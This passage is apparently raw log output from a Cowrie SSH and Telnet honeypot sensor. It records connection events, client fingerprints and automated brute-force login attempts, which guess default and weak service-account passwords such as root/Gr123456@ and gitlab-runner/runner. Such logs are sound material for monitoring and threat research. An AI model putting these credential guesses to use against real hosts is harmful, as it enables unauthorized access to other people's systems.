{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":42964,"dst_ip":"159.203.135.109","dst_port":22,"session":"df8eff48b89b","protocol":"ssh","message":"New connection: 101.79.165.133:42964 (159.203.135.109:22) [session: df8eff48b89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:51.384889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:51.389887Z","src_ip":"101.79.165.133","session":"df8eff48b89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:51.614640Z","src_ip":"101.79.165.133","session":"df8eff48b89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:51.923194Z","src_ip":"193.228.128.84","session":"4cd2a9202daf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:52.543653Z","src_ip":"101.79.165.133","session":"df8eff48b89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:52.770900Z","src_ip":"101.79.165.133","session":"d0740be4351b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:52.774618Z","src_ip":"101.79.165.133","session":"df8eff48b89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.518189430236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:43:54.073287Z","src_ip":"50.62.181.92","session":"362fc16f0e84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.153.70.254","src_port":56788,"dst_ip":"159.203.135.109","dst_port":23,"session":"b646e12295bd","protocol":"telnet","message":"New connection: 87.153.70.254:56788 (159.203.135.109:23) [session: b646e12295bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:00.759118Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56610,"dst_ip":"159.203.135.109","dst_port":23,"session":"8865bfc7e817","protocol":"telnet","message":"New connection: 69.4.83.194:56610 (159.203.135.109:23) [session: 8865bfc7e817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:05.955429Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59676,"dst_ip":"159.203.135.109","dst_port":23,"session":"007137fe0613","protocol":"telnet","message":"New connection: 69.4.83.194:59676 (159.203.135.109:23) [session: 007137fe0613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:15.209295Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":44578,"dst_ip":"159.203.135.109","dst_port":22,"session":"b185177159f8","protocol":"ssh","message":"New connection: 27.50.25.190:44578 (159.203.135.109:22) [session: b185177159f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:18.184355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:18.189548Z","src_ip":"27.50.25.190","session":"b185177159f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:18.419231Z","src_ip":"27.50.25.190","session":"b185177159f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gr123456@","message":"login attempt [root/Gr123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:19.366427Z","src_ip":"27.50.25.190","session":"b185177159f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:20.598693Z","src_ip":"27.50.25.190","session":"b185177159f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":48878,"dst_ip":"159.203.135.109","dst_port":22,"session":"952b2023f496","protocol":"ssh","message":"New connection: 213.183.120.56:48878 (159.203.135.109:22) [session: 952b2023f496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:27.941750Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42458,"dst_ip":"10.17.0.5","dst_port":22,"session":"5420c1dad479","protocol":"ssh","message":"New connection: 103.149.28.157:42458 (10.17.0.5:22) [session: 5420c1dad479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:31.376174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:31.379765Z","src_ip":"103.149.28.157","session":"5420c1dad479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:31.629936Z","src_ip":"103.149.28.157","session":"5420c1dad479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20061992","message":"login attempt [root/20061992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:32.383893Z","src_ip":"103.149.28.157","session":"5420c1dad479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:33.637627Z","src_ip":"103.149.28.157","session":"5420c1dad479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.19222664833069,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:39.147539Z","src_ip":"69.4.83.194","session":"8865bfc7e817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":34094,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18d20c10170","protocol":"ssh","message":"New connection: 182.18.161.165:34094 (159.203.135.109:22) [session: a18d20c10170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:41.302374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:41.306434Z","src_ip":"182.18.161.165","session":"a18d20c10170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:41.520602Z","src_ip":"182.18.161.165","session":"a18d20c10170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"admin","message":"login attempt [elasticsearch/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:42.414409Z","src_ip":"182.18.161.165","session":"a18d20c10170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:43.632191Z","src_ip":"182.18.161.165","session":"a18d20c10170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":48770,"dst_ip":"159.203.135.109","dst_port":22,"session":"8efb10afdf8d","protocol":"ssh","message":"New connection: 4.194.4.255:48770 (159.203.135.109:22) [session: 8efb10afdf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:47.953668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:47.958296Z","src_ip":"4.194.4.255","session":"8efb10afdf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.87069058418274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:48.079870Z","src_ip":"69.4.83.194","session":"007137fe0613","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:48.195781Z","src_ip":"4.194.4.255","session":"8efb10afdf8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"runner","message":"login attempt [gitlab-runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:49.178485Z","src_ip":"4.194.4.255","session":"8efb10afdf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:44:50.418780Z","src_ip":"4.194.4.255","session":"8efb10afdf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:04.278139Z","src_ip":"213.183.120.56","session":"fc34ea720520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c87d5c6b86d","protocol":"ssh","message":"New connection: 89.108.118.91:56538 (10.17.0.5:22) [session: 3c87d5c6b86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:05.496774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:05.506333Z","src_ip":"89.108.118.91","session":"3c87d5c6b86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:05.643729Z","src_ip":"89.108.118.91","session":"3c87d5c6b86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"willie","message":"login attempt [root/willie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:06.054638Z","src_ip":"89.108.118.91","session":"3c87d5c6b86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:07.188927Z","src_ip":"89.108.118.91","session":"3c87d5c6b86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":63994,"dst_ip":"159.203.135.109","dst_port":22,"session":"662650de32bd","protocol":"ssh","message":"New connection: 190.6.32.107:63994 (159.203.135.109:22) [session: 662650de32bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:14.047739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:14.053037Z","src_ip":"190.6.32.107","session":"662650de32bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:14.110212Z","src_ip":"190.6.32.107","session":"662650de32bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:14.367615Z","src_ip":"190.6.32.107","session":"662650de32bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:15.430269Z","src_ip":"190.6.32.107","session":"662650de32bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":43224,"dst_ip":"159.203.135.109","dst_port":22,"session":"630b87691e3c","protocol":"ssh","message":"New connection: 101.79.165.133:43224 (159.203.135.109:22) [session: 630b87691e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:49.389132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:45:49.393172Z","src_ip":"101.79.165.133","session":"630b87691e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc